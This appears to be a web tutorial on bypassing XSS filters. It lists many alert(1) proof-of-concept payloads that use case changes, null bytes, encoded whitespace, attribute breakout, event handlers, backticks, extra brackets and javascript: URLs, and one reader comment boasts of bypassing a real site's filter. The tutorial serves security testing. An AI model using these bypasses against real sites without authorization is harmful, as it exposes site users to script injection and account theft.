How To: Advanced Techniques to Bypass & Defeat XSS Filters, Part 1

Advanced Techniques to Bypass & Defeat XSS Filters, Part 1

There is no shortage of defenses against cross-site scripting (XSS) since it is so prevalent on the web today. Filters are one of the most common implementations used to prevent this type of attack, usually configured as a blacklist of known bad expressions or based on regex evaluation. But there is hope with a wide variety of techniques that can be used to defeat these filters.

Basic Modifications

We can start off with some relatively simple filter bypasses. Depending on the complexity of the filter involved, these can yield results with minimal effort.

Most of the techniques we will explore will be a variation of a simple payload to test for XSS flaws, which looks like the following code. If the parameter being tested is vulnerable, an alert box will pop up showing a one.

<script>alert(1)</script>

Sometimes a simple alteration of this code will defeat basic defensive filters. Try inserting a space or tab after the opening script tag, like so:

<script >alert(1)</script>
<script	    >alert(1)</script>

Also, it works with an encoded tab, newline, or carriage return to break up the code.

<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

Varying the case of the script tags may also trick certain filters.

<ScRipT>alert(1)</sCriPt>

Another useful method that is often successful is the null byte trick. Inserting a null byte anywhere in the XSS payload can sometimes defeat filters.

<%00script>alert(1)</script>
<script>al%00ert(1)</script>

Attributes & Tags

HTML attributes provide additional information about certain elements on the page. When probing for XSS vulnerabilities, these attributes can often be abused to introduce scripts and thus demonstrate that a flaw exists. For instance, take the input element which contains a value attribute:

<input type="text" name="input" value="hello">

We can insert our XSS test code by terminating the quotation marks of the attribute value and closing the input tag, like so:

<input type="text" name="input" value="><script>alert(1)</script>

Sometimes even using an arbitrary tag name can bypass filters.

<randomtag type="text" name="input" value="><script>alert(1)</script>

Similar to before, we can also try replacing the space between the tag name and the first attribute.

<input/type="text" name="input" value="><script>alert(1)</script>
<input&#9type="text" name="input" value="><script>alert(1)</script>
<input&#10type="text" name="input" value="><script>alert(1)</script>
<input&#13type="text" name="input" value="><script>alert(1)</script>
<input/'type="text" name="input" value="><script>alert(1)</script>

Changing the case of the tag name can have desirable effects as well.

<iNpUt type="text" name="input" value="><script>alert(1)</script>

The null byte trick may also work on tag names. Try inserting them at different positions.

<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>

This can work on attribute names and values, too.

<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>

Event Handlers

The HTML language contains events, which are basically things that happen to the elements on a page. Event handlers are the means to make this happen, usually by way of JavaScript. Events can be initiated by the browser or a user. Some examples of events are a button being clicked, a page load, or an error being thrown.

Let's take our example from earlier using the input element and inject an event handler containing code to test for XSS. We can use any appropriate event handler (onsubmit, in this case) to craft a payload. The following example will trigger an alert box once the form input is submitted if it is vulnerable to XSS.

<input onsubmit=alert(1)>

Depending on the type of filter in place, there are many other event handlers that can be used to probe for XSS flaws. Many of these don't even require any user interaction, making them ideal when carrying out tests.

<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>

HTML5 also introduced some new attack vectors in regards to event handlers. Media, such as audio, video, and SVG graphics, can now be used.

<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width="200" height="100" onload=alert(1)>

The new standard allows for event handlers within closing tags as well.

</a onfocus=alert(1)>

Delimiters & Brackets

A delimiter is one or more characters used to separate strings of text or other data streams. Clever use of delimiters can prove fruitful when searching for XSS vulnerabilities. In HTML, whitespace is usually used to separate attributes and their values. Sometimes, filters can be fooled simply by using single or double quotes as delimiters.

<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>

The encoded values of these can also be utilized to try to bypass defenses.

<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>

The grave accent, or backtick, provides another useful trick that can often sneak past filters.

<img onerror=`alert(1)`src=x>

And the encoded version:

<img onerror=&#96alert(1)&#96src=x>

Filters will sometimes screen for certain keywords, like event handlers beginning with "on," in an effort to stop XSS attacks using that vector. If we switch around the order of the attributes from before, a filter that is unaware of grave accents will treat this as a single attribute that doesn't start with "on," effectively bypassing the filter.

<img src=`x`onerror=alert(1)>

Much like delimiters, brackets can also be abused in an attempt to trick filters. In certain situations, the filter might simply look for pairs of opening and closing brackets and compare the contents inside against a blacklist of bad tags. By using extra brackets, the filter can sometimes be tricked into accepting the remaining code. The double slash comments out the extra bracket on the closing tag so no error is produced. So this:

<<script>alert(1)//<</script>

Becomes this after passing through the filter:

<script>alert(1)</script>

Sometimes using an opening bracket at the end will bypass the filter.

<input onsubmit=alert(1)<

In some cases, an application will translate unusual characters into their nearest equivalents based on similar features. For instance, if we replace the traditional opening and closing brackets with double-angle quotation marks, an application performing this behavior may transform these into the correct characters, effectively allowing the input as valid and defeating the filter.

«input onsubmit=alert(1)»

It may also prove successful to encode these characters, similar to the examples from before.

&#174input onsubmit=alert(1)&#175

Pseudo-Protocols

Browsers can accept JavaScript code inline as part of a URL or any attribute that expects a URL. VBScript, a similar scripting language based on Visual Basic, is also used in some older versions of Internet Explorer in much the same way. These pseudo-protocols can sometimes be used as an additional vector for XSS attacks.

Let's take the a href attribute, for example. This HTML attribute specifies the URL of a link location, usually with some text intended as a hyperlink, like so:

<a href="https://www.google.com">Click Here</a>

We can inject code to demonstrate an XSS vulnerability using the JavaScript pseudo-protocol.

<a href="javascript:alert(1)">Click Here</a>

Other attributes that take a URL as a value can also be utilized (please note that while it is a recommended practice, attribute values do not require quotes).

<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>

Stay Tuned for More Filter Bypasses

So far we have explored various methods used to bypass and defeat XSS filters, ranging from basic alterations like inserting spaces and varying case, to injecting into attributes and event handlers and fooling filters into accepting unusual characters like backticks and double-angle brackets. Next, we will dive into JavaScript a little more and how it can be utilized to sneak past filters, as well as techniques for beating input sanitization and length restrictions.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover image by ShonEjai/Pixabay; Screenshots by drd_/Null Byte

1 Comment

yep thx, I bypass a xss filter in site ;)

Share Your Thoughts

  • Hot
  • Latest